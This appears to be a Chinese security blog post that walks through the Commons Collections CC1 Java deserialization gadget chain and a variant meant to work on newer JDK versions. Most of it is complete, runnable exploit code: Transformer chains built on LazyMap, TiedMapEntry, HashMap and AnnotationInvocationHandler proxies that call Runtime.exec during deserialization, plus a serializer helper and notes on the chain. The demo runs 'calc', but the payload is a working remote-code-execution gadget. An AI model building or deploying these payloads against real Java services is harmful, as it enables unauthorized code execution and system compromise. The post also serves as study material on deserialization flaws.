java反序列化(四)CommonsCollections篇 — CC1Plus

2023-05-17 09:23:29 浏览数 (1)

CC1 plus(不受jdk版本限制)

前文所分析利用的CC1链会受到jdk的版本限制

受jdk版本限制原因:

在jdk1.8.0_71之后的版本AnnotationInvocationHandler.readObject()均被重写,删掉了其中的menbervalue.setValue()执行代码

代码语言:javascript复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Calendar;
import java.util.HashMap;
import java.util.Map;
public class CC1plus {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        //以下两种方法分别对应流程图中的链2和链3
//        standard_yso_CC1();
        HashMap_CC1();
    }
    public static Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
    };
    public static ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    public static Object HashMap_CC1() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException {
        Map<Object,Object> hashMap1 = new HashMap<>();hashMap1.put("set_key","set_value");
        Map<Object,Object> lazymap = LazyMap.decorate(hashMap1,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"useful");
        HashMap<Object,Object> hashMap2 = new HashMap<>();
        hashMap2.put(tiedMapEntry,"nouseful");

        //解决方法一( 清空LazyMap.map中TiedMapEntry.key对应的value )操作验证可行:
        lazymap.remove(tiedMapEntry.getKey());

        //解决方法二( 修改TiedMapEntry.key )不知道为什么不行,失败了,找到原因再回来填坑:
//        Class cl = TiedMapEntry.class;
//        Field tiedMapEntryField = cl.getDeclaredField("key");
//        tiedMapEntryField.setAccessible(true);
//        tiedMapEntryField.set(tiedMapEntry,"randomioasdasidjoasd");
//        System.out.println(tiedMapEntryField.get(tiedMapEntry));

        serializer.serialize(hashMap2);
        return  serializer.unserialize();
    }
    public static void standard_yso_CC1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        System.out.println("无版本要求,使用了AnnotationInvocationHandler.invoke()触发 LazyMap.get()执行LazyMap.factory.transform(key) ,key 就是 invoke()中的this.memberValues.get(key)");
        HashMap<Object,Object> map = new HashMap<>();
        map.put("set_key","set_value");
        LazyMap lazymap = (LazyMap) LazyMap.decorate(map,chainedTransformer);

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerconstructor.setAccessible(true);
        InvocationHandler proxyInvocationHandler = (InvocationHandler) annotationInvocationHandlerconstructor.newInstance(Override.class, lazymap);

        Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},proxyInvocationHandler);
        Object end_anno = annotationInvocationHandlerconstructor.newInstance(Override.class,mapproxy);
        serializer.serialize(end_anno);
        serializer.unserialize();

    }

}
代码语言:javascript复制
HashMap链解析:
1 : HashMap.readObject()->HashMap.hash(HashMap.key)->HashMap.key.hashCode()
2 : 令HashMap.key = TiedMapEntry
3 : TiedMapEntry.hashCode()->TiedMapEntry.map.get(TiedMapEntry.key)//.hashCode()
4 : 令TiedMapEntry.map = LazyMap
5 : LazyMap.get(TiedMapEntry.key) -> 
6 : if (LazyMap.map.containsKey(TiedMapEntry.key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}
7 : 令LazyMap.factory = ChainedTransformer
8 : ChainedTransformer.transform()
Notice: 因为LazyMap.put()输入键值对会触发hashCode函数,这时TiedMapEntry.key没有对应的value值时才会执行transform然后弹出计算器,并将transform执行结果作为键值key的value,那么此时map的key键值对就有value了
方法一 : 在序列化前将LazyMap的map中的TiedMapEntry.key键值对应的value清空
方法二 : 在序列化前修改TiedMapEntry对象的key,这样子的话新的键值TiedMapEntry.key在LazyMap.map中依然没有对应的value
代码语言:javascript复制

问题?

不知道为什么打断点调试会发现TiedMapEntry在实例化操作赋值map和key的时候会分别弹一次计算器,但是不打断点只会弹一次(或者有时候弹一次有时候弹两次) ?

HashMap的链子在序列化过程中LazyMap.put()的执行会在LazyMap.map.put()实现,然后再函数中执行hash(key)导致弹窗

helper-serializer.class

代码语言:javascript复制
import java.io.*;

public class serializer {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unserialize();
    }
    public static void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("D:/data.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
    }
    public static Object unserialize() throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("D:/data.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        return objectInputStream.readObject();
    }

}

0 人点赞